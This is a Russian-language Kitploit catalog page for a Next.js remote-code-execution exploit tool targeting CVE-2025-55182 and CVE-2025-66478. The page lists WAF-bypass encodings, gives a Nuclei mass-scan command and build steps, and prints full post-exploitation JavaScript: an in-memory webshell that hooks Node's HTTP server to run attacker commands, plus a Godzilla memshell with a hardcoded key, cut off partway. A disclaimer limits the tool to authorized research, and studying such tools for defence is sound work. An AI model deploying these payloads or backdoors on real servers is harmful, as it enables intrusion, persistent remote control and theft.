Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Nextjs_RCE_Exploit_Tool — Эксплойт для CVE-2025-55182 и CVE-2025-66478 | Kitploit
Инструменты/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбход WAFТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

Эксплойт для CVE-2025-55182 и CVE-2025-66478

Репозиторий
141362410 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Инструмент эксплуатации RCE для Next.js (CVE-2025-55182)


[!CAUTION] Отказ от ответственности / Disclaimer

Данный инструмент предназначен исключительно для исследований и обучения в области безопасности. Перед использованием инструмента для тестирования необходимо получить законное разрешение на целевую систему.

Запрещается использовать его для несанкционированного тестирования на проникновение, вредоносных атак или любых других незаконных целей. Все риски и юридические последствия, связанные с выявлением и использованием уязвимости, полностью возлагаются на пользователя и не касаются разработчиков данного проекта.

Если вы не согласны с этими условиями, немедленно прекратите загрузку или использование инструмента.

Инструмент разработан на основе общедоступных статей и не предоставляется в виде скомпилированных бинарных файлов. Пожалуйста, самостоятельно проверьте код и выполните сборку.


🙏 Благодарности / Credits

Основная логика и методы обхода этого инструмента вдохновлены исследованиями сообщества. Особая благодарность следующим специалистам:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (П Ню)

✨ Функциональные возможности / Features

  • Цепочки эксплуатации:
    • Prototype Chain
    • Array Map Chain
  • Обход WAF:
    • ✅ Unicode-кодирование
    • ✅ UTF-16LE-кодирование
  • OpSec:
    • 🔐 AES-шифрование Payload
  • Инструментарий:
    • Выполнение команд: поддержка синхронного (execSync) и асинхронного (exec) режимов.
    • Управление файлами: интерфейс, похожий на проводник, для просмотра, чтения и записи файлов.
    • Продвинутое использование: поддержка выполнения нативного JS-кода и загрузки модулей (module._load).

🛠️ Быстрый старт

1. Проверка уязвимости (Nuclei)

Используйте Nuclei для массового распознавания и проверки уязвимости:

nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt

2. Сборка и запуск

# Установка зависимостей
go mod tidy

# Сборка
go build -ldflags="-s -w" -o ReactExploit cmd/main.go

# Запуск
./ReactExploit

📸 Скриншоты функций / Screenshots

1. Кодирование

Конфигурация и обход WAF

2. Выполнение команд (RCE)

RCE

3. Файловый менеджер

Проводник файлов Чтение файла

4. Продвинутое использование (Native JS Eval)

JS Eval Загрузка модуля

💉 Примеры Payload

В модуле «Продвинутое использование -> Выполнение нативного JS-кода» можно использовать следующие Payload для действий после эксплуатации.

1. Внедрение веб-шелла в память

cmdlinux

(function(){
    try {
        if (global.memshell_active) return "Memshell already active!";
        var http = process.mainModule.require('http');
        var cp = process.mainModule.require('child_process');
        var qs = process.mainModule.require('querystring');
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res) {
                var url = req.url || "";
                if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var postData = qs.parse(bodyStr);
                            var cmd = postData['pwd'];
                            if (cmd) {
                                var output = cp.execSync(cmd).toString();
                                res.writeHead(200, {'Content-Type': 'text/plain'});
                                res.end(output);
                            } else {
                                res.writeHead(400);
                                res.end("Parameter 'pwd' is missing.");
                            }
                        } catch (e) {
                            res.writeHead(500);
                            res.end("Error: " + e.message);
                        }
                    });
                    return true;
                }
            }
            return originalEmit.apply(this, arguments);
        };
        global.memshell_active = true;
        return "Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

https://github.com/BeichenDream/GodzillaNodeJsPayload

(function() {
    try {
        if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
        var http = process.mainModule.require('http');
        var secretKey = '3c6e0b8a9c15224a'; 
        var payloadName = 'ge0b8a';
        function rc4(key, data) {
            var s = Array(256), k = Array(256);
            var i, j = 0, tmp;
            for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key.charCodeAt(i % key.length);
            }
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
            }
            i = j = 0;
            var out = Buffer.alloc(data.length);
            for (var idx = 0; idx < data.length; idx++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                var t = (s[i] + s[j]) % 256;
                out[idx] = data[idx] ^ s[t];
            }
            return out;
        }
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                var bodyArr = [];
                req.on('data', function(chunk) {
                    bodyArr.push(chunk);
                });
                req.on('end', async function() {
                    try {
                        var bodyStr = Buffer.concat(bodyArr).toString();
                        var json = JSON.parse(bodyStr);
Скачать инструмент